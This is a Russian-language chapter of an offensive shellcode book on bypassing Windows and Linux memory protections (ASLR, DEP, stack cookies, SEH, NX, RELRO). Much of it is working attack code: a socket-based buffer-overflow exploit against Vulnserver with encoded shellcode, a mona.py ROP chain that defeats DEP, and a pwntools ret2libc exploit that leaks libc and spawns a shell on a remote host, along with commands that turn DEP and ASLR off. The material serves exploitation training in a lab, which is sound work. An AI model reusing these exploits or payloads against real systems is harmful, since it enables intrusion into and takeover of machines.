Раздел 3. Противостояние и обходные пути

В этом разделе основное внимание уделяется достижениям производителей программного обеспечения и применении технологий памяти для противодействия шеллкоду.

Эта часть книги составлена следующей главой:

Глава 6. Противостояние и обходные пути

В наших предыдущих главах вы изучили шеллкод, язык ассемблера и различные инструменты, которые применяются при создании шеллкода (такие как разнообразные отладчики и MSPvenom), и, наконец, применили эти знания к технологиям шеллкода как для Windows, так и для Linux.

Теперь нам необходимо рассмотреть меры противодействия, которые развиваются этими операционными системами. Меры противодействия важны с точки зрения защиты: вам требуется блокировать атаки. Хотя данная книга сосредоточена на наступательном шеллкоде, нам также требуется разбираться в таких мерах противодействия и в том как они могут обходиться, где это возможно. Важно разбираться в самих мерах противодействия и в тех обходных путях, которые имеются, поскольку вы столкнётесь с ними в целевых системах.

В данной главе мы рассмотрим меры противодействия и обходные пути для обеих основных операционных систем в следующих темах:

  • Меры противодействия и обходные пути для Windows

  • Меры противодействия и обходные пути для Linux

Технические требования

На протяжении данной главы применяются следующие операционные системы:

  • Kali Linux 2021.x

  • Windows 7 или выше

  • Ubuntu v14 или выше

Все дополнительные инструменты будут упоминаться в соответствующих разделах по мере их применения.

Противостояние и обходные пути для Windows

Операционные системы Windows известны как обладающие намного большим числом ошибок и эксплуатируемым кодом по сравнению с многими прочими операционными системами. Однако, по мере того как Microsoft развивала свои операционные системы, они также добились огромных успехов в возможностях защиты.

Самая последняя операционная система обладает сочетанием мер противодействия, таких как Address Space Layout Randomization (ASLR, перемешивание схемы адресного пространства) и Data Execution Prevention (DEP, предотвращение исполнения данных). Что ещё более важно, такие возможности защиты включены по умолчанию. Дополнительно к средствам защиты на основе операционной системы у вас имеются средства защиты, которые добавляются в процессе разработки приложения, например, файлы куки стека, применяемые при разработке приложений при помощи Visual Studio. Они также применяются порой в время компиляции, что по- существу, превращает их в дополнение программы по умолчанию.

Внутри Windows также можно обнаружить повторное базирование библиотек динамической компоновки (DLL). Такое повторное базирование срабатывает, когда приложение загружает несколько модулей и может возникать конфликт между двумя модулями, которые могут загружаться по одному и тому же адресу. Такой модуль, который обладает установленным битом повторного базирования переместится во избежание конфликта переместится к новому адресу. Теперь, если во время написания своего шеллкода вы нацеливаетесь на такой модуль, подобное перемещение на новый адрес превратит повторное базирование в сложный вопрос для вас.

Давайте рассмотрим некоторые разработанные Microsoft распространённые меры противодействия и то как они могут обходиться. Мы начнём с ASLR.

Перемешивание схемы адресного пространства

ASLR прежде всего применяется для защиты от атак на память, таких как переполнение буфера. Помните, что атака переполнения буфера, по существу, перезаписывает данные полезной нагрузкой и заставляет свою программу переполнять буфер, открывая доступ к дополнительным областям памяти. Данный тип атаки обладает требованием, в соответствии с которым злоумышленнику требуется сделать предположение или узнать расположение каждого фрагмента программы в памяти. Такие области памяти можно обнаруживать при помощи инструментов, отладчиков и процессов из проб и ошибок, в зависимости от имеющейся сложности программы.

Для противодействия этому было предложено ASLR. ASLR случайным образом располагает в памяти различные элементы своей программы. При каждом запуске данной программы, включая сами базовые элементы операционной системы, различные компоненты помещаются в разные области памяти. Такое перемешивание затрудняет определение расположения в памяти ключевых элементов, которые вам необходимо будет применять во время атаки, что затрудняет применение шеллкода.

Оглядываясь назад на историю ASLR, можно сказать, что оно было представлено во многих операционных системах, начиная с Linux примерно с 2001 года, а затем включено в Windows Vista (и последующие версии Windows) примерно в 2007 году, а в конечном итоге, в операционные системы macOS, Apple, Android. В наши дни ASLR обычно по умолчанию включено в эти операционные системы.

Препятствие исполнению данных

Предложенное в Windows XP, Server 2003 и далее, DEP (Data Execution prevention) предоставляет для памяти защиту системного уровня. Оно предоставляет защиту памяти пометкой одной или более страниц памяти в качестве не исполняемых, тем самым блокируя исполнение кода из такой области памяти.

Когда некое приложение предпринимает попытку запуска кода из защищённой страницы памяти, происходит нарушение доступа. Вы можете наблюдать эти типы сообщений об ошибках, например, STATUS_ACCESS_VIOLATION. Теперь, если имеется ситуация, при которой вашей программе требуется запускать код из защищённой страницы памяти, процедура этого повлечёт за собой установку верных атрибутов защиты. Это атрибуты PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READ_WRITE и PAGE_EXECUTE_WRITECOPY. Когда вы будете работать над дизассемблированием приложений в идущем далее разделе Обход мер противодействия. следите за этими атрибутами.

Куки стека

Куки стека, также именуемые как GS или GS++ это предложенный Microsoft внутри Visual Studio механизм защиты от переполнения. По своей сути они обеспечивают смягчение последствий в компилируемых программах. Эти меры защиты работают посредством размещения проверок повреждений стека (то есть куки стека) в различных функциях, которые восприимчивы к атакам переполнения стека (такие буферы носят название буферов GS).

Следующий рисунок иллюстрирует применение куки стека:

 

Рисунок 6-1


Иллюстрация куки стека

На нашем предыдущем рисунке вы можете наблюдать что мы вводим куки стека, вставляемые перед Extended Base Pointer (EBP). По сути это превращает функции в невосприимчивые к взлому Extended Instruction Pointer (EIP).

Теперь давайте перейдём тому как программы обрабатывают исключительные ситуации и имеющиеся меры противодействия в процессе такого процесса. далее мы окунёмся в Structured Exception Handling (SEH, Структурную обработку исключительных ситуаций).

Структурная обработка исключительных ситуаций

Любые приложения на каком- то из этапов сталкиваются с ошибкой. При возникновении ошибки приложения, такому приложению необходимо обладать способом корректной обработки подобной ошибки. Именно тут в дело вступает обработка исключительных ситуаций. SEH это именно то, что применяется для обработки таких исключительных ситуаций. Соответствующий код для SEH будет содержать такие операторы как try, except и finally. По существу, ваш процесс состоит в том чтобы попробовать нечто, исключая это, а затем, наконец, выполнить это. При отображении в коде это выглядит следующим образом:


__try
    \{
        strcpy(buf, arg);
        buf2 = malloc(30);
        strcpy(buf2, arg);
    \}
    __except( MyHandler( GetExceptionCode() ))
    \{
        printf( "Ended up in the handler - whoops!\n" );
    \}
    __finally
    \{
        if( buf2 != NULL )
            free( buf2 );
    \}
\}
 	   

SEH реализуется в виде некой цепочки, в которой всякий обработчик обладает длиной в 8 байт, которые разбиты на два 4- байтовых адреса, хранящихся один за другим.

Чтобы просмотреть образец этого, откройте внутри Отладчика Immunity vulnserver.exe и запустите эту программу. Для просмотра таких цепочек вы можете кликнуть View | SEH Chain. Вы должны обнаружить нечто подобное:

 

Рисунок 6-2


Цепочка SEH для vulnserver

Эта цепочка SEH является цепочкой по умолчанию, как в первоначальных инструкциях этой программы.

Когда речь заходи об обходе защит SEH, общим способом осуществления этого является применение функций POP, POP и RET. Собственно способ коим это срабатывает состоит в исполнении двух операций POP. Мы изменяем самые верхние записи своего стека и затем при помощи функции RET мы выполняем необходимый адрес памяти и инструкции по этому адресу. Такой изменённый адрес это то что мы поместим в свою цепочку SEH и далее исполним разместив это в своём EIP. Итак, чтобы представить себе это в контексте, вы способны применить шеллкод, который будет вставлен в цепочку SEH, а после этого и исполнен.

Далее давайте сосредоточимся на обходе некоторых упомянутых здесь мер противодействия. Мы начнём с Return-Orientated Programming (ROP, Ориентированного на возврат программирования).

 

Обход мер противодействия

В Windows мы можем пользоваться ROP. ROP работает соединяя воедино небольшие фрагменты кода для того чтобы заставлять программу выполнять более сложные фрагменты кода. ROP полезен для обхода защиты ASLR и DEP. Основной ключ ROP лежит в самом его названии; каждая ассемблерная инструкция обладает инструкцией возврата (ret). Такой ассемблер с возвратом носит название гаджета ROP. Когда такие гаджеты загружаются совместно, они носят название цепочки ROP. Подобная инструкция возврата критически важна, поскольку она получает то, что в данный момент времени пребывает в вершине стека и загружает это в указатель инструкции, который обрабатывает то, что исполняется в данный момент. Такая цепочка ROP содержит адреса памяти, поэтому, поместив в контекст саму инструкцию возврата, всё что она делает, это возвращается в стек, прихватывая следующий гаджет и исполняя его.

Образец цепочки ROP с гаджетами можно увидеть в приводимом ниже фрагменте кода. Здесь у нас имеется значение адреса памяти с гаджетом помимо самих инструкций:


rop_gadgets = [
      #[---INFO:gadgets_to_set_esi:---]
      0x75cf2718,  # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
      0x775c3d9a,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [KERNELBASE.dll] ** REBASED ** ASLR
      0x75ee1470,  # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
 	   

Применение инструкции возврата устраняет необходимость безусловного перехода к соответствующему регистру ESP, как вы это наблюдали в Главе 4, Разработка шеллкода для Windows. Вместо выполнения безусловных переходов мы пользуемся опорным стеком (stack pivot), что состоит в технологии указания стеком на буфер контролируемого вами местоположения. Именно это и осуществляет ROP при помощи инструкций возврата.

Давайте рассмотрим практический пример эксплуатации ROP. Для этого мы воспользуемся своим приложением Vulnserver, которое мы применяли в Главе 4, Разработка шеллкода для Windows совместно с Отладчиком Immunity для файла mona.py.

[Совет]Совет

Другой инструмент, которым можно пользоваться для изучения гаджетов ROP, носит название rp++. Его можно найти тут.

Мы будем пользоваться следующим кодом эксплойта, который порождает калькулятор Windows. Этот фрагмент кода основан на Python и может применяться при помощи Python в машине Windows. Обратите внимание, что вы можете заменить свой эксплойт на обратную оболочку для своей атакующей машины, если пожелаете. Я воспользовался примером с калькулятором (calc.exe), если вдруг вы захотите скопировать и вставить этот эксплойт именно так:


#!/usr/bin/python
import socket
server = '192.168.44.141'
sport = 9999
prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
exploit =  ("\xda\xc8\xbf\x84\xb4\x10\xb8\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
"\x31\x31\x7d\x18\x03\x7d\x18\x83\xc5\x80\x56\xe5\x44\x60\x14"
"\x06\xb5\x70\x79\x8e\x50\x41\xb9\xf4\x11\xf1\x09\x7e\x77\xfd"
"\xe2\xd2\x6c\x76\x86\xfa\x83\x3f\x2d\xdd\xaa\xc0\x1e\x1d\xac"
"\x42\x5d\x72\x0e\x7b\xae\x87\x4f\xbc\xd3\x6a\x1d\x15\x9f\xd9"
"\xb2\x12\xd5\xe1\x39\x68\xfb\x61\xdd\x38\xfa\x40\x70\x33\xa5"
"\x42\x72\x90\xdd\xca\x6c\xf5\xd8\x85\x07\xcd\x97\x17\xce\x1c"
"\x57\xbb\x2f\x91\xaa\xc5\x68\x15\x55\xb0\x80\x66\xe8\xc3\x56"
"\x15\x36\x41\x4d\xbd\xbd\xf1\xa9\x3c\x11\x67\x39\x32\xde\xe3"
"\x65\x56\xe1\x20\x1e\x62\x6a\xc7\xf1\xe3\x28\xec\xd5\xa8\xeb"
"\x8d\x4c\x14\x5d\xb1\x8f\xf7\x02\x17\xdb\x15\x56\x2a\x86\x73"
"\xa9\xb8\xbc\x31\xa9\xc2\xbe\x65\xc2\xf3\x35\xea\x95\x0b\x9c"
"\x4f\x69\x46\xbd\xf9\xe2\x0f\x57\xb8\x6e\xb0\x8d\xfe\x96\x33"
"\x24\x7e\x6d\x2b\x4d\x7b\x29\xeb\xbd\xf1\x22\x9e\xc1\xa6\x43"
"\x8b\xa1\x29\xd0\x57\x08\xcc\x50\xfd\x54")
padding = 'F' * (3000 - 2006 - 4 - 16 - len(exploit))
attack = prefix + eip + nopsled + exploit + padding
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack to TRUN . with length ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
 	   

Наш предыдущий код, при исполнении в среде с не включённой DEP, породит программу калькулятора. Теперь давайте включим DEP и затем поработаем ещё немного над своим кодом эксплойта.

[Замечание]Замечание

Прежде чем приступать к этому в вашей лаборатории, убедитесь что DEP включена в вашей машине Windows. Это можно сделать из Приглашения на ввод команд с правами Администратора, воспользовавшись командой bcdedit.exe /set {current} nx AlwaysOn.

Если вы желаете отключить DEP, вы можете применить такую команду в Приглашении на ввод команд от имени Администратора: bcdedit.exe /set {current} nx OptIn .

После того как вы включили DEP, вы можете попытаться исполнить свой эксплойт, но на этот раз данный эксплойт завершится неудачей. Итак, давайте поработаем над ним, превратив его в работающий через ROP.

Самое первое что нам следует сделать, это открыть в своей машине Windows Vulnserver при помощи отладчика Immunity с установленным mona.py. При помощи mona.py мы получим гаджеты ROP. Для получения гаджетов мы воспользуемся такой командой:


!mona rop -m *.dll -cp nonull
		

Данная команда пользуется переключателем -m для определения тех модулей, в которых выполнять поиск. В данном случае мы выполняем поиск во всех DLL, обозначенных через *.dll. Переключатель -cp определяет указатель (отражаемый через c) и собственно шаблон (обозначенный p), который будет соответствовать данному поиску. Здесь мы ищем nonull, что означает, что мы ищем указатели, которые не содержат нулевые байты.

После запуска данной команды потребуется несколько минут чтобы mona.py выполнил поиск тех DLL, которые будут полезны для гаджетов и собрал цепочку ROP. По завершению данного процесса вы обнаружите необходимые результаты в порции журнала регистрации Alt + L отладчика Immunity как это показано на снимке экрана ниже:

 

Рисунок 6-3


Выработанные цепочки ROP

Когда вы получили необходимые результаты, вы обнаружите, что mona.py записала в рабочем каталоге mona файл с названием rop_chains.txt. при помощи этого файла вы обнаружите найденный цепочки ROP в различных форматах. Взгляните на формат Python, который приводится на снимке экрана внизу:

 

Рисунок 6-4


Выработанная mona.py цепочка ROP

Теперь, когда у нас имеется цепочка ROP, давайте внедрим её в свой первоначальный эксплойт, которым мы пользовались ранее. Не забудьте почистить отступы, поскольку они оказывают воздействие на ваш сценарий. Этот внедрённый код выглядит следующим образом. Обратите внимание на дополнительные применяемые модули, такие как struct и sys. Также имеется изменение в той строке, которая детализирует нашу атаку. Наш EIP заменён на полученную цепочку ROP:


#!/usr/bin/python
import socket, struct, sys
server = '192.168.44.141'
sport = 9999
 	   

Здесь начинается наша цепочка ROP. Вы обнаружите её определённой при помощи def create_rop_chain():


def create_rop_chain():
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
    #[---INFO:gadgets_to_set_esi:---]
    0x75c1d612, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
    0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
    0x77c73c5e, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
    0x75cb5b71, # XCHG EAX,ESI # RETN [KERNELBASE.dll] ** REBASED ** ASLR
    #[---INFO:gadgets_to_set_ebp:---]
    0x75c5992e, # POP EBP # RETN [KERNELBASE.dll] ** REBASED ** ASLR
    0x625011af, # & jmp esp [essfunc.dll]
    #[---INFO:gadgets_to_set_ebx:---]
    0x75c1a80f, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
    0xfffffdff, # Value to negate, will become 0x00000201
    0x7676a918, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
    0x76907926, # XCHG EAX,EBX # RETN [msvcrt.dll] ** REBASED ** ASLR
     #[---INFO:gadgets_to_set_edx:---]
    0x76785fa2, # POP EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
    0xffffffc0, # Value to negate, will become 0x00000040
    0x7676a918, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
    0x772cc549, # XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR
    #[---INFO:gadgets_to_set_ecx:---]
    0x76968c09, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
    0x62504689, # &Writable location [essfunc.dll]
    #[---INFO:gadgets_to_set_edi:---]
    0x75e3336f, # POP EDI # RETN [RPCRT4.dll] ** REBASED ** ASLR
    0x7676a91a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
    #[---INFO:gadgets_to_set_eax:---]
    0x75bf0614, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
    0x90909090, # nop
    #[---INFO:pushad:---]
    0x75c5747e,  # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
prefix = 'A' * 2006
eip = '\xc7\x11\x50\x62'
nopsled = '\x90' * 16
 	   

Вслед за этой цепочкой ROP вам требуется определить как обычно сам эксплойт. В нашем следующем пакете кода вы увидите определённым наш эксплойт:


exploit = ("\xda\xc8\xbf\x84\xb4\x10\xb8\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
"\x31\x31\x7d\x18\x03\x7d\x18\x83\xc5\x80\x56\xe5\x44\x60\x14"
"\x06\xb5\x70\x79\x8e\x50\x41\xb9\xf4\x11\xf1\x09\x7e\x77\xfd"
"\xe2\xd2\x6c\x76\x86\xfa\x83\x3f\x2d\xdd\xaa\xc0\x1e\x1d\xac"
"\x42\x5d\x72\x0e\x7b\xae\x87\x4f\xbc\xd3\x6a\x1d\x15\x9f\xd9"
"\xb2\x12\xd5\xe1\x39\x68\xfb\x61\xdd\x38\xfa\x40\x70\x33\xa5"
"\x42\x72\x90\xdd\xca\x6c\xf5\xd8\x85\x07\xcd\x97\x17\xce\x1c"
"\x57\xbb\x2f\x91\xaa\xc5\x68\x15\x55\xb0\x80\x66\xe8\xc3\x56"
"\x15\x36\x41\x4d\xbd\xbd\xf1\xa9\x3c\x11\x67\x39\x32\xde\xe3"
"\x65\x56\xe1\x20\x1e\x62\x6a\xc7\xf1\xe3\x28\xec\xd5\xa8\xeb"
"\x8d\x4c\x14\x5d\xb1\x8f\xf7\x02\x17\xdb\x15\x56\x2a\x86\x73"
"\xa9\xb8\xbc\x31\xa9\xc2\xbe\x65\xc2\xf3\x35\xea\x95\x0b\x9c"
"\x4f\x69\x46\xbd\xf9\xe2\x0f\x57\xb8\x6e\xb0\x8d\xfe\x96\x33"
"\x24\x7e\x6d\x2b\x4d\x7b\x29\xeb\xbd\xf1\x22\x9e\xc1\xa6\x43"
"\x8b\xa1\x29\xd0\x57\x08\xcc\x50\xfd\x54")
padding = 'F' * (3000 - 2006 - 4 - 16 - len(exploit))
attack = prefix + rop_chain + nopsled + exploit + padding
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack to TRUN . with length ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
 	   

Теперь, когда мы запустим этот свой окончательный код должен породиться калькулятор, даже при включённом DEP.

Это подводит нас к завершению противодействия в Windows. Помните, что это не все меры противодействия. Их может быть больше и не забывайте об инструментах Endpoint Detection and Response (EDR), которые способны выявлять шеллкод внутри программ на основе подписей, анализа поведения, телеметрии облачных решений и тому подобное.

Давайте переключим передачу и перейдём к мерам противодействия и обходным путям для Linux.

Противостояние и обходные пути для Linux

Когда речь заходит о проверке того какие защиты от эксплойтов имеются для конкретного исполняемого файла в Linux, достойным для применения инструментом выступает команда checksec. Этот инструмент можно выгрузить из следующей локации.

После его выгрузки вы можете просмотреть степень защищённости выполнив такую команду:


checksec --file=FILENAME
		

На приводимом ниже снимке экрана я исполнил инструментарий checksec для программы bin/ls в Ubuntu. Обратите внимание на различные имеющиеся защиты:

 

Рисунок 6-5


Различные защиты от эксплойтов с применением CheckSec

Основой для обходных путей всеми эксплойтами выступает возможность контроля EIP. Раз вы способны контролировать EIP, вы уже на пути к работающему эксплойту. Препятствием на вашем пути к контролю над EIP являются меры противодействия. Если вы рассматриваете атаку переполнением буфера без защит подобных ASLR, было бы просто выполнять безусловный переход по адресу. При установленной ASLR всё гораздо сложнее. Итак, как вы можете сеье представить, когда приложения сочетаются со средствами защиты, это и в самом деле начинает усложнять рукоделие над работающим фрагментом шеллкода.

Давайте рассмотрим некоторые из подобных защит, как они работают и как их можно обходить. Начнём мы с мер противодействия NoExecute (NX).

NoExecute

NX это популярная мера противодействия, с которой вы столкнётесь в Linux. Эта контрмера помечает данные в стеке как не исполняемые. Если вы хотите соотнести это с Windows, это похоже на DEP.

Когда имеются меры противодействия, если вы пробуете выполнять данные, защищённые ими, вы обнаружите что получаете ошибку SIGSEGV в процессе крушения своей программы.

Обход этого метода противодействия осуществим если у вас в стеке имеются аргументы подлежащей исполнению функции вместо данных. Итак, давайте подумаем о перспективе этого - представьте себе переполнение стека. В процессе переполнения стека вы управляете помещаемыми в стек данными, поскольку они перекрываются вашими индивидуальными данными. Для обхода NX вы предоставляете функции аргументы, которые являются частью буфера и затем пользуетесь EIP для указания на иную функцию, которая будет применять эти аргументы. Аргументы подобных функций могут находиться либо в самом исполняемом файле, либо в любой иной библиотеке, которая может применять их.

Давайте поработаем с демонстрацией применения эксплойта ret2libc для обхода NX. Для этого мы воспользуемся исполняемым файлом из события флага, размещённого во внешнем сервере. Этот исполняемый файл носит название pwn3 и его можно найти здесь. Все необходимые для компиляции этой программы файлы в вашем компьютере запросто доступны в этом репозитории GitHub.

После того как вы получите на своей машине этот исполняемый файл, после его запуска вы отметите, что он запрашивает ввод. Первое что мы выполним, это применим checksec для проверки того какие именно защиты применяются в этом файле. Воспользовавшись командой checksec --file pwn3, вы обнаружите что она с разрешённой защитой NX, что видно из следующего снимка экрана:

 

Рисунок 6-6


Проверка защит с применением CheckSec

Наш следующий шаг состоял бы в выполнении распушения данного приложения. Мы начнём с открытия данного приложения в инструменте GDB c установленным Peda при помощи такой команды:


gdb -q pwn3
		

Когда наше приложение откроется, мы создадим шаблон из 300 символов и отправим получаемый вывод в текстовый файл при помощи команды pattern create 300 pattern.txt.

Затем мы исполним это приложение воспользовавшись данным файлом шаблона. Это осуществляется командой run < pattern.txt, как на приводимом ниже снимке экрана:

 

Рисунок 6-7


Распушение с применением GDB

После выполнения этого приложения, завершающегося его крушением, мы обнаружим подробности такого крушения, как на идущем следом снимке экрана. Далее вам требуется обнаружить значение смещения:

 

Рисунок 6-8


Наблюдаемое в процессе распушения крушение

Для поиска значения смещения внутри GDB мы применим такую команду:


pattern offset 0x41416d41
		

Здесь мы определили значение адреса в памяти, в котором произошло крушение. Мы видим, что значение смещения составляет 140 байт, как на следующем снимке экрана:

 

Рисунок 6-9


Обнаружение значения смещения

Поскольку для данного обхода нам требуется воспользоваться функцией, давайте повторно запустим GDB для своего приложения pwn3 как и ранее. На этот раз мы просмотрим его функции при помощи такой команды:


info functions
		

Согласно приводимому далее снимку экрана, имеются доступными лишь несколько функций:

 

Рисунок 6-10


Функции pwn3

Чтобы воспользоваться атакой ret2puts, нам потребуется отыскать инструкции ассемблера, которые применяют puts. Вначале мы выполним дизассемблирование функции main() своей программы. Это осуществляется повторным запуском GDB, исполнением этой программы и её прекращением на этапе ввода (Ctrl + C). Здесь мы воспользуемся командой disas main, как это показано на снимке экрана ниже. Обратите внимание на инструкцию puts, которая присутствует по адресу 0x8048340:

 

Рисунок 6-11


Дизассемблирование функции main, выявляющее инструкцию put

Мы можем проследовать за инструкцией puts@plt при помощи команды x/3i 0x08048340.

Вы можете заметить, что имеется указатель, который вызывает 0x80497b0 и заглянув по этому адресу при помощи команды x/wx 0x80497b0 мы найдём в libc значение адреса puts, как показано на приводимом ниже снимке экрана. Если вы желаете дополнительно познакомится с этой командой обратитесь по следующей ссылке:

 

Рисунок 6-12


Следуем за инструкцией put в libc

Обратим внимание на значение адреса для возврата в main(), который можно обнаружить при помощи такой команды:


p main
		

Вы обнаружите, что значение адреса равно 0x804847d. Теперь, давайте настроим свою атаку. Поскольку puts получает лишь один аргумент в качестве указателя на строку, если мы передадим ему аргументом Global Offset Table (GOT), мы вернём себе адрес libc. Для этого нам требуется смастерить эксплойт, который будет выполнять следующее:

  1. В EIP будет перезаписано значение адреса puts@plt.

  2. Возвращаемый адрес должен быть установлен на main(), что обеспечит после puts вывод на печать занимательных сведений, которые будут возвращены в нашу программу функцией mian.

  3. Самое последнее значение которое отправляется в puts это некий аргумент, то есть адрес GOT.

При помощи инструмента pwn мы создадим необходимый эксплойт, который отображён в приводимом следом фрагменте кода. Его мы сохраним в вашей машине Linux в файле .py и запустим при помощи Python:


from pwn import *
r = process('./pwn3') #исполняемый файл запущен
puts_plt = 0x8048340 #адрес puts в PLT - первом вызове из main()
puts_got = 0x80497b0 #адрес puts в GOT - указывает на библиотеку libc
main = 0x0804847d #адрес main из PLT
payload = ""
payload += "A"*140 #взламываем буфер
payload += p32(puts_plt) #перезаписываем EIP
payload += p32(main) #возвращаем адрес
payload += p32(puts_got) #аргумент для puts()
r.recvuntil('desert:') #получаем вывод программы вплоть до слов "desert: "
r.sendline(payload) #отправляем свой эксплойт в буфер, где исполняется puts
r.recvline() #получаем строку вывода, отправляемую обратно программой
leak = u32(r.recvline()[:4]) #после первой строки, присутствует утечка в первых байтах остающегося вывода.
#Нам нужны первые четыре байта с самого начала ([:4])
#Далее, поскольку они расположены в памяти, мы распаковываем их в u32()
log.info('puts@libc is at: {}'.format(hex(leak)))  #Выводятся на печать утекающие данные.
 	   

Если у вас включена ASLR, при каждом исполнении этого эксплойта вы наблюдаете разные адреса libc.

Выполняя безусловный переход обратно в GDB нам требуется вычислять в libc все адреса. Это можно проделать следующими командами:


p puts
p system
p exit
find /bin
vmmap libc
		

На следующем снимке экрана вы обнаружите получаемые выводы всех этих команд, выполняемых для возврата обратно в свою систему:

 

Рисунок 6-13


Просмотр адресов для возврата обратно в свою систему

Далее нм требуется вычислить значения смещений. Это выполняется внутри GDB при помощи такой команды:


p [MEMORY ADDRESS] – [MEMORY ADDRESS]
		

На нашем следующем снимке экрана мы наблюдаем вычисленным значение смещения. Обратите внимание, что это смещение вычисляется из адреса выхода системы puts в адрес libc (0xb7e09000):

 

Рисунок 6-14


Вычисление значения смещения для libc

Затем мы добавляем в свой эксплойт такой код. Его можно добавить в самый низ нашего кода эксплойта:


libc_base = leak - 0x5fca0
system = libc_base + 0x3ada0
exit = libc_base + 0x2e9d0
binsh = libc_base + 0x15ba0b

log.info('system@libc is at: {}'.format(hex(system)))
log.info('exit@libc is at: {}'.format(hex(exit)))
log.info('binsh@libc is at: {}'.format(hex(binsh)))
 	   

После выполнения мы теперь видим значения адресов как на приводимом ниже снимке экрана:

 

Рисунок 6-15


Реализация логики ret2system

Теперь нам требуется обновить свой буфер на значение адреса функции main(), ибо мы применяем этот адрес в качестве адреса возврата. Окончательный эксплойт выглядит так:


from pwn import *
#r = process('./pwn3') #исполняемый файл запущен
r = remote("192.168.44.141", 4444)
puts_plt = 0x8048340 #адрес puts в PLT - первом вызове из main()
puts_got = 0x80497b0 #адрес puts в GOT - указывает на библиотеку libc
main = 0x0804847d #адрес main из PLT
payload = ""
payload += "A"*140 #взламываем буфер
payload += p32(puts_plt) #перезаписываем EIP
payload += p32(main) #возвращаем адрес
payload += p32(puts_got) #аргумент для puts()
r.recvuntil('desert:') #получаем вывод программы вплоть до слов "desert: "
r.sendline(payload) #отправляем свой эксплойт в буфер, где исполняется puts
r.recvline() #получаем строку вывода, отправляемую обратно программой
leak = u32(r.recvline()[:4]) #после первой строки, присутствует утечка в первых байтах остающегося вывода.
#Нам нужны первые четыре байта с самого начала ([:4])
#Далее, поскольку они расположены в памяти, мы распаковываем их в u32()
log.info('puts@libc is at: {}'.format(hex(leak))) # Выводятся на печать утекающие данные.
libc_base = leak - 0x5fca0
system = libc_base + 0x3ada0
exit = libc_base + 0x2e9d0
binsh = libc_base + 0x15ba0b
log.info('system@libc is at: {}'.format(hex(system)))
log.info('exit@libc is at: {}'.format(hex(exit)))
log.info('binsh@libc is at: {}'.format(hex(binsh)))
payload = ""
payload = "A"*132
payload += p32(system)
payload += p32(exit)
payload += p32(binsh)
log.info('Re-exploiting the main().')
r.recvuntil('desert: ')
r.sendline(payload)
r.interactive()
 	   

Теперь, когда мы запускаем этот эксплойт для своей программы, мы получим оболочку, применяющую обход NX при помощи функции ret2libc, как это показано на снимке экрана далее:

 

Рисунок 6-16


Работа эксплойта с обратной оболочкой

Теперь давайте перейдём к ASLR и рассмотрим как оно работает в Linux.

Перемешивание схемы адресного пространства

Ранее в своём разделе об Windows мы обсуждали ASLR. Тот способ, которым ASLR работает в Linux очень схож с Windows. Итак, давайте рассмотрим настройку параметров ASLR в Linux.

Внутри Linux настройки ASLR хранятся в proc/sys/kernel/randomize_va_space.

Имеются три значения, которые могут быть записаны в этом файле и они таковы:

  • 0 = : ASLR отключено.

  • 1 = : ASLR включено. В данном случае защита имеется для стека, областей разделяемой памяти и значений страниц виртуальных динамических разделяемых объектов.

  • 2 = : ASLR включено, покрывая те же самые компоненты что и вариант 1, но с дополнительной защитой сегментов данных.

Если вам требуется внести изменения в свои настройки ASLR, это можно выполнить воспользовавшись учётной записью суперпользователя при помощи следующей команды:


echo [VALUE] > /proc/sys/kernel/randomize_va_space
		

Например, echo 0 > /proc/sys/kernel/randomize_va_space отключит ASLR. Чтобы просмотреть текущую настройку вам просто требуется выполнить cat для этого файла.

[Замечание]Замечание

Добавляя в файл /etc/sysctl.conf значение kernel.randomize_va_space=[VALUE] вы можете жёстко закодировать настройку ASLR внутри своей системы.

Передислокация области только для чтения

Relocation Read Only (RELRO, Передислокация области только для чтения) это мера противодействия, которая защищает данные внутри процесса от их перезаписи на протяжении эксплуатации процесса. Чтобы разобраться как работает RELPO, давайте рассмотрим некий исполняемый файл Executable and Linkable Format (ELF). Исполняемый файл ELF содержит GOT. Эта таблица применяется для динамического разрешения функций, которые располагаются в совместно применяемых исполняемых файлах. Вот процесс, который имеет место:

  1. Всякий вызов функции будет указывать на Procedure Linkage Table (PLT, Таблицу компоновки процедуры), которая находится в разделе .plt соответствующей программы.

  2. Эта PLT будет указывать на адрес функции в своей GOT. Данную таблицу можно обнаружить в разделе .plt.got соответствующей программы.

  3. Таблица GOT будет содержать значение указателя, которое указывает на значение адреса соответствующей функции и такие указатели будут передаваться обратно в PLT.

Важно отметить, что не все содержащиеся в таблицах GOT функции будут допускать запись. Таким образом, основная цель состоит в способности записывать по крайней мере 4 байта через взлом соответствующей GOT чтобы применять записываемую функцию для указания на ваш шеллкод.

